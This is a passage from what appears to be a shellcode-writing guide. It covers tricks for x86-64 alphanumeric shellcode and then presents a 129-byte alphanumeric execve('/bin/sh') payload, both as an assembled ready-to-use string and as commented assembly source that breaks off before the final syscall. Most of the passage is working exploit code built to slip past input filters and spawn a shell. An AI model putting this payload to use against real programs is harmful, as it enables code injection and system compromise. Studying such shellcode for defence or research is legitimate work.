we have a zero register at all, in this # case we will use %rax as our zero register, we can # use it to get %rbx, %rsp, and %rbp to zero if needed: # # # %rbx: # xor %ss:0x30(%rcx), %rax # store that value in rax # xor %rax, %ss:0x30(%rcx) # Null that area of stack # imul $0x30,%ss:0x30(%rax),%rbx # 0x30 * 0 = 0 # imul $0x30,%ss:0x30(%rax),%rbp # 0x30 * 0 = 0 # # Once the stack space, as well as the destination is set # to zero, we can effectively mov %rax, %rbp: # 36 48 31 41 30 xor %rax,%ss:0x30(%rcx) # 36 48 33 69 30 xor %ss:0x30(%rcx),%rbp # # Our closest thing to incrementing and decrementing is # our ability to use the ins and outs instructions to # add or subtract 1,2, or 4 against the %rdi register. # This still leaves us with no significant add or sub, # we can use imul with 16 and 8 bit registers to find # division though. We also have a magic mov; if %rsi is # not in use: # # movsql %ss:0x30(%rcx), %rsi # xor %rsi, %ss:0x30(%rsi) # # This can come in quite handy when chunking large # pieces of data to 0.
Alphanumeric execve('/bin/sh') - 129 bytes
- Assembled:
TYAXjZX4UPAX6Hk9AHc49H149hJG00XH5EB00PAX6Hc1H1496Hcq061q06Hcq461q46Hcq06Hcy0WZhZUXZXH5u71461A0hZGQjXH5u49j6H1A46H3y0AXWT6Hc9jXX4c
.global _start .text _start: ; Set %rcx as stack pointer ; and align %rsp push %rsp pop %rcx pop %r8 ; garbage reg ; Get magic offset and store in %rdi push $0x5a pop %rax xor $0x55, %al push %rax ; 0x0f on the stack now. pop %r8 ; garbage reg. imul $0x41, %ss:(%rcx), %rdi ; %rdi = 0x3cf, a "magic offset" for us ; if this is too far into the buffer or ; not far enough, manipulate the xor's and ; imul to get your desired offset. ; Clear stack space movslq (%rcx,%rdi,1), %rsi xor %rsi, (%rcx,%rdi,1) ; Write syscall push $0x3030474a pop %rax xor $0x30304245, %rax push %rax pop %r8 ; Garbage reg movslq %ss:(%rcx), %rsi xor %rsi, (%rcx,%rdi,1) ; allocate 8 bytes for '/bin/sh\0' movslq %ss:0x30(%rcx), %rsi xor %esi, %ss:0x30(%rcx) movslq %ss:0x34(%rcx), %rsi xor %esi, %ss:0x34(%rcx) ; Zero rdx, rsi, and rdi movslq %ss:0x30(%rcx), %rsi movslq %ss:0x30(%rcx), %rdi push %rdi pop %rdx ; Store '/bin/sh\0' in the ; freshly allocated stack space ; and move it into %rdi. push $0x5a58555a pop %rax xor $0x34313775, %rax xor %eax, %ss:0x30(%rcx) ; '/bin' just went onto the stack push $0x6a51475a pop %rax xor $0x6a393475, %rax xor %rax, %ss:0x34(%rcx) ; '/sh\0' just went onto the stack xor %ss:0x30(%rcx), %rdi ; %rdi now contains '/bin/sh\0' ; Set %rdi as pointer pop %r8 ; garbage reg. push %rdi push %rsp movslq %ss:(%rcx), %rdi ; %rdi is now a pointer to '/bin/sh\0' ; Set function number for syscall. push $0x58 pop %rax xor $0x63, %al |